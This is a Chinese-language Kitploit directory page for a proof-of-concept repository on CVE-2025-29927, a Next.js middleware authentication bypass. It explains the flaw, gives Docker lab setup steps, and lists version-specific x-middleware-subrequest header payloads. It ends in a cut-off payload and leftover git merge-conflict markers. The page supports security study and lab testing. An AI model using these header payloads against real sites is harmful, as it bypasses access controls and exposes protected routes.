Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2025-29927 — Proof-of-concept exploit for CVE-2025-29927, a Next.js middleware bypass vulnerability. Includes version-specific payloads and a Docker-based lab for testing unauthorized access to protected routes. | Kitploit
工具/GitHubGitHub/jeymo092/cve-2025-29927
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubjeymo092/cve-2025-29927

cve-2025-29927

Proof-of-concept exploit for CVE-2025-29927, a Next.js middleware bypass vulnerability. Includes version-specific payloads and a Docker-based lab for testing unauthorized access to protected routes.

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-29927

Image

CVE-2025-29927 漏洞

从 11.1.4 到 13.5.6 的所有 Next.js 版本,以及 14.x 中 14.2.25 之前的版本、15.x 中 15.2.3 之前的版本均受此漏洞影响。对于依赖中间件实现访问控制的应用程序来说,影响尤为严重,攻击者可以在无需认证的情况下获取对受保护资源的未授权访问。

漏洞机制

CVE-2025-29927 漏洞源于 Next.js 处理 x-middleware-subrequest 头部的设计缺陷。该头部最初是 Next.js 框架内部使用的,用于防止中间件无限执行循环。

当 Next.js 应用程序使用中间件时,会调用 runMiddleware 函数来处理传入请求。作为其功能的一部分,该函数会检查是否存在 x-middleware-subrequest 头部。如果该头部存在且包含特定值,中间件的执行将被完全跳过,请求会通过 NextResponse.next() 直接转发到其原始目的地。

漏洞在于,这个头部检查可以被外部用户利用。攻击者只需向请求中添加带有正确值的 x-middleware-subrequest 头部,即可完全绕过任何基于中间件的保护机制。

项目设置指南

  1. 克隆仓库:

    root@kitploit:~
    git clone <repository_url>
    
  2. 进入项目目录:

    root@kitploit:~
    cd nextjs-docker-app
    
  3. 构建 Docker 镜像:

    root@kitploit:~
    docker build -t nextjs-app .
    
  4. 运行 Docker 容器:

    root@kitploit:~
    docker run -p 3000:3000 nextjs-app
    
  5. 在浏览器中访问 http://localhost:3000 打开应用程序。

不同 Next.js 版本的利用方式

根据 Next.js 版本的不同,利用方法略有差异:

针对 12.2 之前的版本

在这些版本中,中间件文件必须命名为 _middleware.ts,并放置在 pages 文件夹中。middlewareInfo.name 的值由目录名和文件名组成:

root@kitploit:~
x-middleware-subrequest: pages/_middleware

对于嵌套路由,可能在不同层级存在多个中间件文件,因此头部可以有多个可能的值:

root@kitploit:~
x-middleware-subrequest: pages/dashboard/_middleware

或

root@kitploit:~
x-middleware-subrequest: pages/dashboard/panel/_middleware

针对 12.2 及之后的版本

从 12.2 版本开始,Next.js 更改了中间件的约定。文件名应为 middleware.ts(不带下划线),并且不再位于 pages 文件夹中。对于这些版本,有效载荷更简单:

root@kitploit:~
x-middleware-subrequest: middleware

此外,Next.js 允许使用包含 /src 目录的备选项目结构。在这种情况下,有效载荷为:

root@kitploit:~
x-middleware-subrequest: src/middleware

针对 13.2.0 及之后的版本

对于 13.2.0 及以上版本,Next.js 引入了中间件执行的最大递归深度。这是为了防止无限循环,但不影响漏洞的利用。由于头部检查发生在任何递归深度检查之前,因此利用方式保持不变。

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

或者,对于使用 /src 目录结构的项目:

root@kitploit:~
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:sr
=======
# cve-2025-29927
>>>>>>> 56c7b2dcd548caf771750519107bf7c57749a864
下载工具